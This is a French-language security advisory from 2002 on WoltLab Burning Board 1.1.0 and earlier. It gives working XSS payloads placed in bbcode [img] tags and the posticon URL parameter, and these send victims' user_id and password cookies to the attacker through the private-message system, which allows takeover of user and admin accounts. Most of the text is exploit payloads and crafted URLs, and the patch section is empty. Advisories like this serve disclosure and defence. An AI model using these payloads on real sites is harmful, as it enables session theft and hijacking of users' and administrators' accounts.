Burning Board ************* Produit : ********* WoltLab Burning Board http://www.woltlab.de Versions : ********** 1.1.0 et moins. Date : ****** 09/04/02 Problemes : *********** - XSS - Accès aux comptes users/admins Developpement : *************** On peut voir, dans action.php, dans le code qui authentifie un membre, ces quelques lignes : -------------------------------------------------------- $user_id = getUserid($username); $user_password = $kennwort; session_register("user_id"); session_register("user_password"); setcookie("user_id", "$user_id", time()+(3600*24*365)); setcookie("user_password", "$user_password", time()+(3600*24*365)); -------------------------------------------------------- On authentifie donc par cookie; un cookie contenant l'id user et se nommant 'user_id' et un cookie contenant le mot de passe crypté se nommant 'user_password'. Si on arrive a recuperer ces 2 cookies chez un autre user, on peut rentrer dans son compte. Quand on se logge avec son pass et son login, on arrive sur la page de reception des message : /pms.php. On peut donc envoyer et recevoir des messages entre membres. Le html etant rarement accepté, on va utiliser le bbcode et la balise [img]. Si on envois un message contenant [img]javascript:alert('XSS')[/img], il y aura bien une popup avec le message. On sait donc faire executer un javascript à la lecture d'un message, ce qui ouvre pas mal de porte pour recuperer le cookie. Ce script a été testé egalement sur la version 1.0 Beta 4.5. Analysons maintenant la source de l'envois du message pour utiliser correctement la faille. D'après le formulaire, on peut creer une url : pms.php?action=send&recipient=USER&subject=happy&posticon=images/icons/ausrufezeichen.gif&mode=0&message=Hello Qui enverrai un message à l'utilisateur USER, avec comme sujet "happy", comme contenu "hello", et la petite image avec comme url images/icons/ausrufezeichen.gif s'afficherai a côté du sujet dans la page de reception. On va donc creer ce script: [IMG]javascript:location='pms.php?action=send&recipient=MONPSEUDO&subject=happy &posticon=images/icons/ausrufezeichen.gif&mode=0&message='+document.cookie;[/IMG] qui, quand l'user ou l'admin le lira, nous enverra un message contenant les cookies : user_id user_password (sid) Il suffira alors d'envoyer ces cookies sur le site pour prendre pocession du compte. Tout les javascript sont acceptés, on aurait donc pu creer de nombreux autres scripts : javascript:a='pms.php?action=send&recipient=USER&subject=happy&posticon=images/icons/ausrufezeichen.gif&mode=0&message='+document.cookie; window.open(a); javascript:window.open('pms.php?action=send&recipient=USER&subject=happy&posticon=images/icons/ausrufezeichen.gif&mode=0&message='+document.cookie); etc... Tout cela nous permet donc de rentrer dans un compte si l'user lit un message. Mais il y a mieux. Revenons à l'url d'envois de message : http://www.site.com/pms.php?action=send&recipient=USER&subject=happy &posticon=images/icons/ausrufezeichen.gif&mode=0&message=Hello L'image images/icons/ausrufezeichen.gif s'affiche directement sur la page contenant la liste des messages, l'url pms.php et on peut voir dans la source : On peut donc ici agir, non pas directement par le formulaire d'envois, qui ne nous permet pas de choisir l'url de l'icone, mais par l'url. pour avoir dans la source il suffira de taper dans son browser l'url http://www.site.com/pms.php?action=send&recipient=DESTINATAIRE&subject=happy &posticon=javascript:alert('hacked')&mode=0&message=Hello ou encore l'url http://www.site.com/pms.php?action=send&recipient=USER&subject=happy &posticon=">&mode=0&message=Hello pour avoir dans la source "> Patch : ******* / Greetz : ******** / Credits : ********* frog-m@n leseulfrog@hotmail.com